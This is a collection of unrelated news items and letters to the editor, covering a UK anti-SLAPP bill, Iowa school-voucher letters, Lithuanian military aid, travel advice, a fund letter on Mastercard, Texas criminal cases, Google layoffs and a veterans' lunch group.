Bob Seely, the Conservative MP for the Isle of Wight, tabled proposals to curb the use of noxious lawsuits by bad actors to intimidate journalists and campaigners.

Firms that engage in strategic lawsuits against public participation (Slapps), utilised by the "enemies of law-governed states", are offering a "one-stop shop to spy, to snoop, to smear and to sue", he said.

Slapps usually involve wealthy elites using legal action to try to stop journalists or campaigners from exposing wrongdoing under defamation and privacy laws.

Mr Seely said the legal industry is "justifiably a prized part of London and our soft power". However, he claimed the "Slapps culture" undermines that "great tradition".

He suggested lawyers who engage in these "appalling" actions could be hit with a 1 million penalty to quickly "send this industry packing".

'Fifth column'

"In terms of our free media, freedom of speech, these high-priced law firms - through naivety, poor judgement or simple greed - are becoming a fifth column," he said.

The Government announced proposed reforms in July 2022 to give the courts new powers to throw out meritless claims quicker and put a cap on costs. However, they have to yet to make progress in Parliament.

Mr Seely introduced his own proposals via his Defamation, Privacy, Freedom of Expression, Data Protection, Legal Services and Private Investigators Bill in the Commons on Tuesday.

"Firms who offer Slapps have made themselves wealthy, effectively attacking a free media, freedom of speech and legitimate corporate due diligence," he told MPs.

"I think this, as a business model, is a form of legalised intimidation - effectively legal gangsterism."

Mr Seely warned that the Government itself is being "cowed" by Slapps, with investigators including the Serious Fraud Office and National Crime Agency sometimes threatened with judicial review.

He said his Bill would "limit the financial and psychological costs of a meritless Slapps claim which can be imposed on a defendant", introduce sanctions against those who "abuse our courts" and dismiss such claims before costs accrued.

"If we fine lawyers engaged in Slapps - dare I call them slappers? - if we fine them 1 million every time a slapper brought in a Slapp, I think we would be able to send this industry packing within a very short period," he said.
Whose choice, really?

In the debate over private school vouchers, Gov. Kim Reynolds and her supporters are attempting to frame the decision to funnel millions of dollars away from Iowas public schools as parental choice.

One problem with this argument is that it isnt actually parents who get to make the choice to send their kids to private schools. Private schools have the absolute decision-making power over who can and who cannot attend their school, and they dont have to explain their reasoning.

Here is a list of some of the students and families who will struggle to find private schools who will accept them.

Families with no private school reasonably close to them (a majority of Iowans from rural areas). Students with disabilities. Students with disabilities cost significantly more to educate than the $7,598 the state will provide to help cover tuition. The federal government only chips in about 15% of what is legally required for them to provide, so special education is a massively underfunded mandate, and one private schools are not obliged to adhere to. English language learners. Students who are not proficient in English, likewise, require more resources to access education. Private schools do not have to accept students who are not proficient in English. Low-income families. While the governors proposal has income guidelines that purport to help lower-income families, many families who live with poverty experience a broad range of barriers to education. As a whole, students from families with a lower socioeconomic status are significantly behind their higher socioeconomic status peers in terms of achievement and graduation rates, even in free public schools. The level of education in the home, lack of access to preschool, a lack of overall stability, a lack of access to mental health supports; the list could go on. Again, if a private school denies a family access to their school, they dont have to explain themselves, they can just say no. Students and families who identify as gay or transgender. Yes, these students exist. They are a minority of students in our schools, but they are real, as are gay parents. Some private schools dont even want these students to acknowledge their, or their parents, identity, let alone accept them into their school communities.

Story continues

A cynic might believe there are families in Iowa who wish to keep their children separate from members of their community, described above. I do not believe most Iowans are this closed-minded. This voucher plan will, however, make it much easier to create a segregated school system. This will not depend as much on parental choice as it will on the private schools decision about who they do and do not want to educate.

J.P. Claussen, on behalf of the Iowa City Community School District Board of Education

Law attempts to starve public services

The gift that the Republican legislatures are giving the rich in Iowa in the form of paid tuition is an obvious choice to make the rich richer and the poor poorer. If you want to pay tuition, move to the East Coast, where going to public schools is not a choice because funding has been decimated. If you want a good education for your kids, you have to pay and send them to private schools.

The reason the Republican leadership wants to drain the public school budget is to do what they did with Iowas mental health facilities, and Medicaid services: make them private. Look what they did to Mount Pleasant and Clarinda mental health facilities. They had years to improve or address the situations at those facilities to make them better; instead, they did nothing. They closed them and privatized their services. They did the same with Medicaid.

Why employ Iowans to do those jobs when you can give the money to your friends in private corporations?Represent your friends in large corporations and make them richer and let Iowans, whom you are supposed to represent, send their kids to unsupported poor schools and give tax money to private schools to support your wealthy friends. As every poor Iowa kid tries to climb the ladder of success, there is a Republican on the top stepping on their hands and kicking them in the face to keep them down.

Joel E. Wells, Iowa City

Beware, private schools

If public money goes to private schools, those schools will no longer be private. They will eventually lose autonomy, and rightfully so.

Anna Lee Hope, Iowa City

Iowa tearing apart the institution that made America great

Mark Twain said, Out of the public schools grows the greatness of the nation. That was a time of great inequality between the haves and the have-nots. I fear that the idea of the state giving money to families to attend private schools instead of their local public schools will diminish the very institution that made our country a great democracy. The public school is the great leveler of the social and economic classes where we learn a common, not chosen, vision of history, the sciences, mathematics, civics and human development. Exemplary schools are a source of pride. We used to feel that way in Iowa and we funded it.

In Iowa, you can attend any public school, which is different from the past. You had to go to your neighborhood school. You may also send your child to a religious or other private school based on your beliefs and your childs interests. However, common belief was that you must fund that and that taxes still go to the public school, which is where most learners are. Transportation is funded in public schools. Special needs are cared for in public schools, as mandated by Iowa law.

Private schools do not have to follow the rules set out by the Iowa Department of Education. Why then should they get public money? The school choice that will occur will be on the part of the private school. Sorry, youre not our kind of student. Vouchers will start sorting our children. Economically challenged families may not be able to get their children to private school since they will not have busing. Children with special needs will be sent back to public schools for lack of trained teachers. Public school test scores will not reflect a broad cross-section of our society and will be used to denigrate our public institutions further. Finally, there are many parts of the state where there are no private schools. Corporations may set up schools that chase the money, but they would be looking for a profit.

Finally, there will be many lawsuits based on the Establishment Clause of the US Constitution, which prohibits the establishment of religion. Many private schools in Iowa are Christian, as I am. We, the taxpayers, will be paying for these lawsuits.

This is a time of great division in our land. Lets come together to support our children, their families and the educational staff that are the basis of this democracy. There is no freedom without responsibility.

Ken Fate, Coralville

Children are getting terrible advice on LGBTQ questions

Stopping a child's puberty with drugs and giving him the opposite gender's hormones is extremely unethical. Whatever the child's emotional issues, let him cope with the healthy development of his body as it happens.

I think children are getting the wrong kind of counseling from the experts of the LBGTQ community. Keep these people away from your kids.

Don't give someone gay pornography. Encourage chastity.

William Owens-Holst, Coralville

Expand access to Alzheimers drug treatment

I lost my mother to Alzheimers disease in 1987. Twenty-six years ago there were no drugs to delay the disease, and an Alzheimers diagnosis was a slow death sentence. This loss caused me to become an advocate for ending Alzheimers, and we donated my mothers brain for research at the University of Iowa Hospitals and Clinics.

Finally, in 2021 and 2023, research has resulted in the Food and Drug Administration approval of two drugs for Alzheimers treatment for people with early diagnosis. The drugs are lecanemab now known as Leqembi and aducanumab now known as Aduhelm. Alzheimers researchers agree from the strong clinical trials that treatment with these drugs changes the course of the disease in a meaningful way for people with early Alzheimers.

But because of decisions by the Centers for Medicaid & Medicare Services, Medicare will not cover this treatment. The Alzheimers Association has filed a formal request asking CMS to provide full and unrestricted coverage for Alzheimers treatments that have been approved by FDA. Please join me and contact members of Congress to demand that CMS take action. You can take action by visiting alzimpact.org.

Gary Wicklund, Coralville

This article originally appeared on Iowa City Press-Citizen: Letters to the editor: Iowa's foundation is being torn apart
Arvydas Anusauskas

Read also: Ukraines path towards NATO membership should persist despite war, Lithuania says

This year Lithuania will invest up to EUR 40 million for procurements in support of Ukraines military, said Anusauskas.

This will include anti-drones, optics, thermo-visual devices, and drones.

The minister added that EUR 2 million will be forwarded to UKs international fund that finances heavy weapon procurement for Kyiv.

On Jan. 11, Lithuanian President Gitanas Nauseda said Vilnius will provide Ukraine with L70 anti-air systems and ammunition for them.

Read the original article on The New Voice of Ukraine
In June, I traveled more than 9,000 miles from my home to explore New Zealand and Australia alone.

I made plenty of mistakes during the 21-day trip.

Looking back, I should've visited during the region's summer and packed a checked bag.

I'll admit it  I make mistakes. And let's just say I made plenty on a solo 21-day trip to Australia and New Zealand.

The author in front of her rental in Queenstown, New Zealand. Monica Humphries/Insider

Over a decade ago, I embarked on my first international trip.

Fast forward to today, and I'm a full-time travel writer who spends several weeks on the road.

Even after all those work trips and vacations, I still make mistakes while traveling. Recently, I made a good majority of them while traveling solo across Australia and New Zealand for 21 days.

My itinerary kicked off in June with a few days in Auckland, New Zealand, where I gained a first glimpse of Air New Zealand's redesigned plane cabins.

From Auckland, I headed to Waiheke Island, New Zealand, to taste wine and explore abandoned WWII complexes.

Then, it was off to the adventure capital of the world: Queenstown, New Zealand.

From there, I hopped on a plane to Sydney, Australia, and, finally, ended my trip exploring parts of Queensland, Australia.

It was my longest solo adventure yet, and throughout the entire journey, I made plenty of slip-ups. From forgetting to check for Wi-Fi at Airbnbs to not having rainy day plans, here are nine mistakes I made.

My first mistake started at the airport. Prior to my long-haul flight to Auckland, I didn't drink enough water and ate unhealthy snacks.

A cinnamon-sugar pretzel wasn't the ideal snack before a 13-hour flight. Monica Humphries/Insider

To get to Auckland from my home in Denver, I first flew to Los Angeles where I then boarded a 13-hour business-class flight to New Zealand that was easily the most glamorous plane ride of my life.

But even with luxuries like a lie-flat seat, complimentary toiletries, and endless food, there were mistakes I made on the flight, which in turn, made adjusting to new time zones tough.

For example, I should've consumed much, much more water. According to The Aerospace Medical Association, travelers should drink 8 ounces of water for every hour they're in the air. With that in mind, I didn't come anywhere near the 104 recommended ounces on my 13-hour flight. In fact, I doubt I drank much more than 32 ounces during the entire trip.

Story continues

My lack of water was also paired with poor eating. Before boarding the flight, I scarfed down a Wetzel's cinnamon-sugar pretzel, devoured a bag of chips, and slurped up a bowl of ramen in an airport lounge.

These mistakes became clear as soon as I disembarked the aircraft. I arrived in New Zealand feeling dehydrated and low on energy, which made the full day ahead feel more daunting than thrilling.

Next time, to combat a lack of energy, I'll guzzle water and opt for healthier snacks.

I insisted on packing a carry-on, but I should've checked a suitcase.

The author and the baggage she brought on a 21-day trip to Australia and New Zealand. Monica Humphries/Insider

I was determined to fit everything I needed for 21 days in a carry-on suitcase and small backpack. I didn't want to stand in extra lines at airports to check a bag or sit around waiting for my suitcase to come out on a conveyor belt when I landed.

I magically made 21 days' worth of clothes and items fit in a carry-on, but as soon as I boarded my first flight in New Zealand, I realized all my careful packing was worthless.

I had a standard US-sized carry-on, which was 22 inches by 14 inches by 9 inches and weighed around 35 pounds. However, I did not know that New Zealand and Australia have different weight limits for their carry-on luggage. While most of the airlines I flew with would've allowed the size of my bag, they all had a 15-pound limit for carry-ons and my bag was double, if not triple, the weight limit.

So, the carry-on bag I packed wasn't deemed a carry-on in both New Zealand and Australia, which meant I had to check my bag for every one of my flights.

Next time, I'll pack a larger suitcase. That way I could bring more for my trip. And even more importantly, I'd have the space to bring back souvenirs, boxes of Tim Tams, and other Australian childhood snacks.

Visiting during the off-season had benefits, but next time, I'll travel during the region's summer.

Insider's author often arrived at hotels after sunset. Monica Humphries/Insider

Australia's and New Zealand's winters are flipped from the US, so while I was missing sunny summer at home in Colorado, I was able to explore winter in the Southern Hemisphere.

Fortunately, winters are mild in Australia and New Zealand. Temperatures hovered around 60 degrees Fahrenheit for most of my trip, and there were a few chilly days in the 40s in Queenstown.

With this mild winter came a few benefits. It was shoulder season, and according to locals, I faced fewer crowds at attractions and shorter lines at popular restaurants.

But the worst part about visiting in the winter for me was the shorter days.

In Auckland, for instance, the sun rose each morning around 7:30 a.m. and set at 5:15 p.m.

That meant I had just 9.5 hours of daylight. I often arrived at my accommodations after dark and started my days before the sun was up. I was disappointed that I didn't always get to soak in the full views from the incredible places where I was sleeping.

For example, I stayed at the five-star The Darling hotel in Sydney. By the time I checked in after a day of exploring, I had missed the daylight views of the city's skyline. The next morning, I was out the door heading to walk the Sydney Harbor before the sun was up.

Beyond my hotel rooms, I was frustrated I didn't have longer days to explore the cities in daylight.

Throughout the 21 days, it felt like I was squeezing 12 hours' worth of activities into 9 hours.

In retrospect, I wished I opted for more crowds in exchange for longer days in these countries.

I didn't make rainy day plans and wasted precious time as a result.

Insider's author during a rainy day in Sydney, Australia. Monica Humphries/Insider

When I landed in Australia, much of what I hoped to explore was outdoors. In Sydney, I wanted to visit the nearby Blue Mountains and its Scenic World amusement park. Outside of Cairns, I planned to take a train to Kuranda, Australia, and explore the region by boat.

But I learned that storms and subsequent flooding meant that many of those attractions were closed. According to The Guardian, I had bad luck, and the rain and flooding I experienced in July was a rare third La Nina year in a row, which set new records for rainfall in Australia.

Sometimes I learned the hard way that attractions were closed. For example, when I didn't spot anything online indicating that Scenic World's railway and skyway were closed due to rain, I still attempted to go. I traveled two hours by train, only to learn that the downpours resulted in a closed park. Locals told me my best bet was to turn around and head back to Sydney, and I did just that. The result was nearly five hours of wasted time.

Other times, I was met with tough-last minute decisions. For example, floods caused my train ride in Kuranda to be canceled, and I had just 10 minutes to decide whether I wanted to hop on a bus to visit the town or stay in Cairns.

Without enough time to plan another way to spend my day, I got on the bus. When I arrived, I learned that some attractions and activities were also closed because of the storms.

I wish I had spent more time before the trip researching indoor activities in each city. That way, I could've had a solid rainy-day plan and avoided wasting time traveling to closed attractions.

For future trips, I'll make sure to do that research and have back-up plans.

I made plenty of mistakes driving on the left side of the road for the first time.

The rental car parked on the side of the road in Waiheke Island, New Zealand. Monica Humphries/Insider

In New Zealand, in the name of adventure, I rented a car and drove on the left side of the road for the first time on Waiheke Island and in Queenstown.

By not relying on public transportation, I could explore areas less traveled. I was able to visit an abandoned WWII complex on Waiheke Island thanks to my rental car, and in Queenstown, a few remote accommodations like a tiny house and geodesic dome would've been impossible to get by bus or train.

It took me a few days to get comfortable behind the wheel, and during that time, I made a handful of mistakes.

I almost always turned on windshield wipers instead of turn signals because everything about the steering wheel was reversed from what I was familiar with in the US.

And once I finally got my turn signal on, I often left it on for far too long, since I wasn't as familiar with meters, which is what they use in New Zealand instead of miles.

Luckily, none of the mistakes I made were major, and I was ultimately glad I rented a car since it allowed me to explore other regions of the country.

Although next time I rent a car in a foreign country, I'll take some laps in the parking lot first to get more comfortable behind the wheel.

I forgot to check for Wi-Fi at my accommodations before booking.

The tiny house was tucked into the cliffside of Waiheke Island. Monica Humphries/Insider

I can't remember the last hotel or Airbnb I stayed in that didn't have Wi-Fi, and I wrongly assumed that every accommodation I booked would have some sort of internet access.

But since some of my accommodations were more remote  like a cliffside tiny house on Waiheke Island  I realized my assumption was wrong.

And I realized it too late.

It wasn't until I checked into the tiny house that I found out it didn't have Wi-Fi. I was hoping to upload images and start writing stories about my travels but couldn't.

After looking back at the listing, it was a detail I overlooked. So, I took it as an opportunity to disconnect and soak in the stunning views around me.

Next time, I'll double-check my accommodations to see the Wi-Fi setup beforehand, especially if I plan to work on the road.

I didn't check to make sure the activities I planned were open on the days I was visiting.

The closed sign at the entrance to the Fort Stony Batter. Monica Humphries/Insider

When planning my trip, there were a handful of things I was insistent on doing. I wanted to go bungee jumping in Queenstown and walk through the tunnels of an abandoned WWII complex. But I made a rookie mistake when I failed to make sure those activities were open seven days a week.

Fortunately, most activities, including like bungee jumping, were open. However, a few were not.

For example, Fort Stony Batter on Waiheke Island, which is an old WWII complex with underground tunnels open to the public, was closed when I visited. I made the best of it by exploring the always-open, above-ground section of the property but left disappointed that I didn't step foot in any of the massive tunnels.

This happened a few more times throughout my 21 days in New Zealand and Australia. I'd arrive at a restaurant and learn it was closed for the night or show up for an activity and realize it wasn't open. Sometimes it was because the activities had limited availability during the off-season, and other times it was because a restaurant or place just wasn't open on the day I arrived.

For future trips  especially during the off-season  I'll double check to make sure everything is open when I plan on visiting.

Eating out for all my meals and not working out started to wear on me toward the end of the trip.

Bags of McDonald's food. Monica Humphries/Insider

Minus a grocery store salad and a few Australian passion fruits gifted by an Airbnb host, I ate out every single day during the 21-day trip.

About two weeks into the trip, I decided to pop into a McDonald's to try some of the menu items I can't find in the US. After my meal, which included a creme brulee pie, macrons, and mozzarella sticks, I left feeling ill.

I realized that I was indulging in yummy  yet often greasy and unhealthy food  for too many days in a row. Similar meals like a massive burger and fries at Fergburger in Queenstown and the dozens of Australian candy bars I ate started to make me feel sick.

Pair that with an inconsistent workout schedule since I was staying in hotels, Airbnbs, and sailboats without gyms, and I noticed it starting to take a toll on my mental and physical health.

To combat my mistake, I started ordering side salads at every restaurant and incorporated morning runs as part of my exploration.

On future trips, I'll make sure to start these healthy habits happen at the beginning instead of at the end when the negative effects have already set in.

And like every city and country I've ever visited, my trip wasn't long enough.

The author at the Mudbrick Vineyard and Restaurant in New Zealand. Monica Humphries/Insider

Twenty-one days split between four regions might seem like a lot of time, but I thought it wasn't nearly enough time to see everything New Zealand and Australia have to offer. Given the opportunity, I would've extended my trip for another week or two.

But not having enough time to explore and travel is also always a welcomed mistake. It just means I'll have to plan a trip back.

And in stunning places like Australia and New Zealand, I can almost guarantee I'll be back sooner rather than later.

Read the original article on Insider
L1 Capital, an investment management firm, released its "L1 Capital International Fund" fourth quarter 2022 investor letter, a copy of the same can be downloaded here. In the fourth quarter, the L1 Capital International Fund returned 1.7% compared to its benchmark which had a 4.4% return for the same period. Spare some time to check the funds top 5 holdings to have a clue about their top bets for 2022.

In its Q3 2022 investor letter, L1 Capital International Fund mentioned Mastercard Incorporated (NYSE:MA) and explained its insights for the company. Founded in 1966, Mastercard Incorporated (NYSE:MA) is a Harrison, New York-based financial services company with a $363.9 billion market capitalization. Mastercard Incorporated (NYSE:MA) delivered a 8.87% return since the beginning of the year, while its 12-month returns are up by 8.34%. The stock closed at $378.57 per share on January 23, 2023.

Here is what L1 Capital International Fund has to say about Mastercard Incorporated (NYSE:MA) in its Q3 2022 investor letter:

"During the December 2022 Quarter over 50% of the Funds holdings share prices increased by more than 10% in local currency with a number of them increasing by more than 20%. Five companies positively contributed over 0.5% (in AUD) to the Funds returns for the quarter which includes Mastercard Incorporated (NYSE:MA). Mastercards share price also increased over 20% in the December 2022 Quarter. These companies span a range of industries and size by market capitalisation and include both Growth and cyclical Value businesses. All meet the L1 Capital International unique definition of Quality."

nick-pampoukidis-t-UV1rZqPuY-unsplash

Our calculations show that Mastercard Incorporated (NYSE:MA) ranks 7th on our list of the 30 Most Popular Stocks Among Hedge Funds. Mastercard Incorporated (NYSE:MA) was in 146 hedge fund portfolios at the end of the second quarter of 2022, compared to 137 funds in the previous quarter. Mastercard Incorporated (NYSE:MA) delivered a 23.88% return in the past 3 months.

Story continues

In January 2023, we also shared another hedge funds views on Mastercard Incorporated (NYSE:MA) in another article. You can find other investor letters from hedge funds and prominent investors on our hedge fund investor letters Q4 2022 page.

Suggested Articles:

Disclosure: None. This article is originally published at Insider Monkey.
By Kanishka Singh

(Reuters) - The man accused of killing 23 people and injuring dozens more in a 2019 massacre targeting people of Mexican descent at a Walmart store in El Paso, Texas, will plead guilty to federal hate crimes charges, his attorneys said in a court filing.

It comes days after federal prosecutors said they will not seek the death penalty for the shooter, Patrick Crusius.

Prosecutors say Crusius drove 11 hours to El Paso, which sits on the U.S. border with Mexico, from his hometown of Allen, near Dallas, on Aug. 3, 2019, and fired at shoppers with an AK-47 rifle inside the Walmart store. He surrendered to officers who confronted him outside.

"Defendant notifies the Court of his intention to enter a plea of guilty to the pending Indictment," the motion filed in court read. Court records showed the motion was granted.

Crusius, who also faces state charges in Texas, is set to stand trial in U.S. District Court for the Western District of Texas, facing 23 counts of committing a hate crime resulting in death, and 23 counts of using a firearm to commit murder, among other charges.

He pleaded not guilty in 2020 to 90 federal hate crime charges in the case. Proceedings were delayed while prosecutors decided whether to pursue the death penalty against him.

In 2020, his lawyers argued that Crusius, then 21, had been diagnosed with severe, lifelong neurological and mental disabilities and should not face execution if convicted.

A Texas judge last year put off a state trial in the case as federal prosecutors determined whether they would seek capital punishment.

A manifesto that prosecutors say was posted online by Crusius on 8chan, a now-defunct message board often used by extremists, said the Walmart attack was a response to the Hispanic invasion of Texas.

(Reporting by Kanishka Singh in Washington; Editing by Bill Berkrot)
A Texas man is accused of killing his girlfriend after she found out that he had lied about being married and said she would tell his wife, police said.

According to jail records, Ocastor Ferguson, 32, has been booked on murder, kidnapping, and arson charges in connection to the death of Kayla Kelley, 33. Kelley was reported missing on Jan. 11, and her disappearance prompted days of searching. Her car was found deserted and burned beyond recognition on Jan. 12, and two days later, Ferguson was arrested on the kidnapping charge.

Ocastor Ferguson Collin County Sheriff's Office via AP

On Jan. 18, her body was found buried in a Grand Prairie field by the Collin County Sheriffs Office and Texas Rangers.

While we desperately hoped for a different outcome, Im grateful for the dogged determination of my deputies and our Texas Rangers in locating Ms. Kelley, Collin County Sheriff Jim Skinner said after her body was identified.

According to an arrest warrant for Ferguson, he and Kelley had been dating after meeting online over the summer, and he went by the name of Kevin Brown.

Kelley then discovered his true identity and that he was married, and according to police, she told her friends she was going to expose Kevin and tell his wife everything.

The affidavit said that Fergusons wife told police that she received a text message from an unknown number on Jan. 4, saying they needed to tell her something; based on the language in the text, she believed it was sent by a woman.

After Kelley was reported missing, police officers confronted Ferguson at his workplace, and he confessed to having an affair, the affidavit said. But Ferguson told police he last saw her on Jan. 10 when she dropped him off for work; she was supposed to return to bring him lunch, but never did, he allegedly told police.

According to the arrest warrant, phone records obtained by investigators revealed that on Jan. 10, Ferguson had traveled near Kelleys home, then went to the area where her car was later discovered. He allegedly denied being in the area and told police he had no knowledge of what happened to the car or Kelley.

Story continues

Police also found that Fergusons wife had recently reported their car stolen, and it was later found near Kelleys home with gloves, duct tape, and a blanket inside, the affidavit said.

More on this
Jan. 23Author and illustrator Lily Williams asked Manhattan Middle School students if they ever felt small, powerless, scared or even too big, then urged them to use those feelings in their art.

"The coolest thing about being an artist is you get to channel all of your experiences into your art," she said. "You never know where your art is going to end up, but you can really make a huge impact on this world."

Williams, who lives in the mountains near the Loveland Ski Area, gave three presentations Monday at the Boulder arts focus school. Teacher librarian Retta Kelley wrote a grant to the school's Parent Teacher Organization to cover the cost after teacher Melanie Crowder, also a published author, suggested Williams.

Monday's presentations were the school's first in-person author talk  and the first in-person school visit for the author  since the pandemic.

"We have a lot of kids who are really creative and love to draw," Kelley said. "We wanted to show students how they can make art into a career."

Williams told the students she grew up in northern California in a family of artists, with a mom who is a fashion designer and a grandfather who is a commercial artist.

"I was supported from a young age and encouraged from a young age," she said.

But, she said, she wasn't a great student, instead learning outside school by reading and researching. Along with channeling her energy into art, she was a swimmer, dancer and skier, all hobbies she continues today.

She was a senior in college majoring in animation when she created graphic illustrations on what would happen if sharks disappeared. She posted the illustrations to her blog, and, to her surprise, they went viral. Among the many emails asking about prints was one from an editor in New York proposing a children's book.

Though she thought the editor's email likely was spam, she answered it and ended up agreeing to illustrate and write the book. It's since become a series highlighting different animals, including bees and African elephants.

Story continues

"I was really inspired to make that series because I loved sharks," she said. "I always wanted to get people passionate about things I'm passionate about."

She described a labor-intensive process for creating illustrations, including printing pages, going over them with pencil, scanning them in and going over them with ink. She said she ends up redrawing each page three to seven times.

"When you become an artist, you have to love it so much you love it on the days you hate it," she said.

Her first graphic novel, "Go With the Flow," started as a cartoon about periods she created with co-author Karen Schneemann. Her interest in writing about periods came from living with debilitating periods for years before a doctor took her seriously and diagnosed her with endometriosis and fibroids. She said turning her experience into a humorous comic and sharing it helped make it lighter.

The graphic novel, about four friends navigating high school who advocate for access to menstrual products, has a sequel publishing in October called "Look On the Bright Side."

Williams fielded questions at the end of each presentation, from her favorite shark species (long-lived Greenland sharks) to her creative process (chaotic and not always linear) to how she develops characters and if they're based on people she knows.

She said two of the four main characters in "Go With the Flow" share some of her character traits, while the other two share traits of her co-author. To develop characters, she starts with a list of their likes and dislikes, then the character evolves as she writes and draws.

"I feel like I'm hanging out with them," she said. "You're very involved in who they are."

Students also asked about her next projects, which include a novel inspired by her own experiences with obsessive-compulsive disorder.

"I really want the world to be a little bit of a kinder place about these issues," she said.
Google laid off about 12,000 employees, or roughly 6% of its workforce, on Friday. Stephanie Keith/Getty Images

A married couple with a 4-month-old baby were both hit Friday by Google's mass layoffs.

Allie was on maternity leave, while her husband was set to go on paternity leave in a few weeks.

They said they would now work full time on their business: "This was the push that we needed."

A husband and wife with a 4-month-old baby said they were both hit Friday by Google's mass layoffs.

Allie and Steve, who asked to go by their first names only but whose identities are known to Insider, had both relocated to California when Allie started working for the tech giant six years ago. Steve began working at the company about two years later.

The couple, who were high-school sweethearts, had their first child in fall. Allie went on parental leave shortly beforehand and planned to be off for about eight months in total. Steve took two months of parental leave in late 2022 and was set to take a further two in March.

Google announced Friday that it would lay off about 12,000 employees, or roughly 6% of its workforce. Allie and Steve were among those affected, they told Insider. They found out that they were being laid off at the same time.

The company's layoffs come as other tech giants are dramatically cutting their workforces. Twitter, under its new owner, Elon Musk, laid off thousands of workers in late 2022. A class-action lawsuit filed against the company accused it of violating the Family and Medical Leave Act by terminating workers on or about to be on parental leave.

Another Google employee told Insider she was laid off just days before going on maternity leave.

Google employees have expressed their shock at the abrupt and impersonal nature of the layoffs, which were conducted over email. Some managers weren't even informed of the mass terminations before they happened.

Allie was a marketing manager at Google, while Steve was a research-operations manager. Allie said they "didn't really see each other every day at work" because they worked in different buildings but sometimes had lunch together and used Google's bike trails, Allie said.

Story continues

Allie said she "absolutely" enjoyed her "six wonderful years" working at the company, praising her colleagues and the staff benefits. Steve said Google had invested a lot of time and money into its staff. Perhaps ironically, the generous parental leave was one of the things that attracted both workers to Google.

Allie said there had been an "overwhelming response" after she announced the news of their layoffs, with people from both Google and other companies reaching out, in some cases offering jobs.

The couple said they planned to use their dual layoffs as an opportunity to develop their own business. They set up White Cube Media, which makes animated explainer videos for companies, in 2014 and worked on it in their spare time.

They didn't mind balancing it with their full-time jobs at Google, which gave them the safety and consistency they needed as they grew their business, Allie said. They would work on White Cube Media late at night and during the weekends, and even while on vacation in Hawaii, Mexico, and Amsterdam, she added.

"We're very hard workers," Allie said. "It doesn't even feel like work for us."

Now Allie and Steve can work on the business full time, they told Insider. "This was the push that we needed," Allie said.

Were you recently laid off by Google or another tech company? Contact this reporter at gdean@insider.com.

Read the original article on Business Insider
MARSHFIELD  It was a new year and a bigger lunch crowd than usual at the Brant Rock Hop.

On one side of the dining room, a dozen men, most in their 70s, clustered around available tables. More were arriving and space was running out.

The men are all veterans of the Vietnam or Korean wars. The military logos on their hats, jackets and shirts gave their particulars.

U.S. Navy veterans Paul Landry, left, and Steve Pineault, right, who both served in Vietnam, catch up before lunch at the Brant Rock Hop in Marshfield on Tuesday, Jan. 10, 2023.

Watching them arrive, two women seated at a table moved to empty seats at the lunch counter. The gentlemen thanked them, and 15 veterans sat down to enjoy their time together at five tables pushed together in a long row.

"I look forward to this all week," Paul Landry, 75, of Marshfield, said. A Navy veteran, he served in Vietnam from 1967 to 1971.

Older, wiser in a kinder, gentler world: Elders who inspired us in 2022

A Good Age: For Weymouth writers, their best muse is often one another

Several days later, Landry posted this message on the Marshfield Forum Facebook page:

"Every Tuesday a bunch of us old veterans get together for lunch at The Hop. Last Tuesday (Jan. 3), we had a few more than usual and while waiting to see how many more were going to arrive, two very gracious ladies let us use their table and had their lunch at the counter.

"That kindness alone would warrant this 'thank you.' BUT when we received our check, our lady friends had paid a very generous portion of it!!!! My hope is this post will somehow reach them and they will know all of us say 'THANK YOU.'"

A snapshot of the long row of men with two waitresses was included.

Veterans from Marshfield and nearby towns gather for lunch weekly at the Brant Rock Hop in Marshfield.

I dropped by The Hop at 269 Ocean St. the following Tuesday. Walking in, I met Ray Gajewski, 79, of Marshfield, a new member back for his second lunch, drawn by the fellowship. This time, 17 veterans showed up for lunch.

Landry had heard from one of the two women, who wanted to remain anonymous. The Marshfield Office of Veterans Services, with director Carin Paulette and assistant director Lisa Potts, reached out to her and she told Potts both of their fathers had served in the military and giving up their seats had just "seemed like the right thing to do."

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Ed Sullivan attends a weekly gathering of veterans from Marshfield and nearby towns at the Brant Rock Hop in Marshfield on Tuesday, Jan. 10, 2023.

A simple, meaningful act of generosity can inspire others. Christine Dunn, the group's regular waitress at The Hop, said in the past other customers have paid for a veteran's meal and it shows "they appreciate everything the veterans have done for us."

The Brant Rock Hop owners, Nick and Shannon Drosopoulos, of Marshfield, said they're happy to give the vets the space.

"They're a great group, so kind and friendly," Shannon said.

Mike Burke, left, of Duxbury, and Barney Dowd, right, of Marshfield, attend the weekly gathering of veterans at the Brant Rock Hop in Marshfield on Tuesday, Jan. 10, 2023.

Landry and a handful of veterans began meeting for lunch a few years ago at the Marshfield Senior Center. COVID stopped that, and when pandemic restrictions eased, Landry suggested trying a nearby restaurant. A dozen or more show up each Tuesday at The Hop; veterans of all ages are welcome.

Asked what draws them, the men all mentioned similar benefits: camaraderie, new friendships, shared laughter, useful information, practical tips on veterans issues and "someplace to go."

Waitress Christine Dunn, of Marshfield, takes the lunch orders of 17 veterans at the Brant Rock Hop in Marshfield on Tuesday, Jan. 10, 2023.

"You talk to other veterans about things and they understand what you are talking about," Barney Dowd, 79, of Marshfield, said.

"The same kind of problems," Doug Brown, 72, agreed.

Both served in Vietnam, Brown on a river patrol boat with the Green Berets. The two have become friends and vacationed in Aruba together.

Steve Pineault, 78, of Marshfield; Ed Raymond, 75, of Scituate; Mike Burke, 79, of Duxbury; and Malcolm Gale, 73, of Marshfield, are also Vietnam veterans.

"It's a good group here and we've done a lot of the same things," Raymond, a former Marine, said.

Gale finds the others "easy to get along with," as does Mike Acheson, 73, of Pembroke.

"These are guys I can relate to," Acheson said.

Veterans from Marshfield and nearby towns gather for lunch weekly at the Brant Rock Hop in Marshfield. Tuesday, Jan. 10, 2023.

The two oldest were Korean War veterans: Bob Griffin, 86, commander of the Korean War Veterans Association, and Philip Drosdik, 87, of Duxbury.

"I like veterans because I think we have a special loyalty to our country," said Drosdik, who finds the Korean War Veterans Association "an opportunity to serve our country a second time."

The others included Ed Timlin, 78, with the Navy Seabees in Vietnam; Bill Doyle, 78, who served in the Air Force from 1964 to 1968; and Ed Sullivan, 77, of Marshfield, a Navy SEAL in Vietnam. Sullivan is board chair for Marshfield's Veterans Memorial Park and finds that in the lunch group, "we can depend on each other for different things."

It is important, Potts said, to encourage veterans to connect with one another.

"And for us, it's a real chance to pass along information about benefits that are available that they may not know about," she said.

A Good AgeMarried 74 years, Pat and Veronica Pastuszak craft independence at home in Abington

Marshfield kicks off new lifelong learning session

